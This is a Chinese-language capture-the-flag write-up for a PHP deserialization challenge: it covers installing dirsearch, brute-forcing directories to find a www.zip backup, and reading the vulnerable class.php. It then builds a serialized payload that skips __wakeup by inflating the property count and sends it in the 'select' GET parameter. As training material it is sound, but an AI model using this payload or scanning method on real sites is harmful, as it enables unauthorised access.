赞
踩
1. 进去发现网页做的挺有意思的,是一张用毛线球逗猫的网页,尝试老办法单击右键查看源代码,无果(因为没有),于是仔细观察网页,发现关键信息---备份网页
2. 发现文件备份,所以准备把网站的目录给爆破出来,使用dirsearch
3. dirsearch的下载、安装以及使用
下载地址
https://github.com/maurosoria/dirsearch
点击Download here
之后将下载的文件压缩放在自己想放在的地方(为了方便,我选择把它放在桌面上)
注意,安装的python得是3.7及其以上版本(没有python的先安装python)
之后在当前窗口(你的dirsearch文件)直接输入cmd
接着使用命令安装dirsearch
pip3 install -r requirements.txt
可能会出现以下错误提示
上面指出应该给pip3升级,所以我们根据提示给pip3进行升级
python -m pip install --upgrade pip
pip3更新成功,出现successful字样,之后继续进行dirsearch安装代码
pip3 install -r requirements.txt
可能还会出现
解决办法,关闭代理服务器,然后再执行dirsearch安装命令
pip3 install -r requirements.txt
可喜可贺,dirsearch安装成功
4. 使用爆破工具dirsearch下载网页目录得到正确的压缩安装包,找到代码进行分析
python dirsearch.py -u (自己需要爆破的网址) -e (语言)
5. 出现一大堆各种各样文件,就算知道常用压缩文件名以及压缩文件名后缀也无法快速找出,这时,不妨来设计一段python代码,让符合常用压缩文件名和文件名后缀的文件在网址中遍历,最终只会得到一个可以访问网址的文件
注意,由于代码判断需要requests库,所以要进行安装
pip install requests
发现只有www.zip进行成功访问
6. 在原网址后面加上www.zip下载压缩包
对压缩包进行解压
7. 发现一个flag.php文件,打开
- <?php
- $flag = 'Syc{dog_dog_dog_dog}';
- ?>
输入flag,发现是错误的
8. 打开index.php文件看看
发现一段php代码
里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化
8. 接着打开class.php文件
- <?php
- include 'flag.php';
-
-
- error_reporting(0);
-
-
- class Name{
- private $username = 'nonono';
- private $password = 'yesyes';
-
- public function __construct($username,$password){
- $this->username = $username;
- $this->password = $password;
- }
-
- function __wakeup(){
- $this->username = 'guest';
- }
-
- function __destruct(){
- if ($this->password != 100) {
- echo "</br>NO!!!hacker!!!</br>";
- echo "You name is: ";
- echo $this->username;echo "</br>";
- echo "You password is: ";
- echo $this->password;echo "</br>";
- die();
- }
- if ($this->username === 'admin') {
- global $flag;
- echo $flag;
- }else{
- echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
- die();
-
-
- }
- }
- }
如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求
9. 构造序列化
在代码后面加上
-
- <?php
-
- class Name{
- private $username = 'nonono';
- private $password = 'yesyes';
-
- public function __construct($username,$password){
- $this->username = $username;
- $this->password = $password;
- }
- }
- $a = new Name('admin', 100);
- var_dump(serialize($a));
-
- ?>
10. 通过warmserver服务器运行得(可以在PHP菜鸟教程了解)
我将序列化后的文件class.php放在warmsecer文件下新建的class文件下,在浏览器上访问得
11. 又因为在反序列化的时候,要执行_wakeup()魔方函数,导致username=guest
- function __wakeup(){
- $this->username = 'guest';
- }
所以我们要要绕过这个函数,则让name大于2即可
于是得
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
12. 又因为,username为private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
所以得
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
13. 最后又发现index.php中get select
所以在网址后加上
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
就可以得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。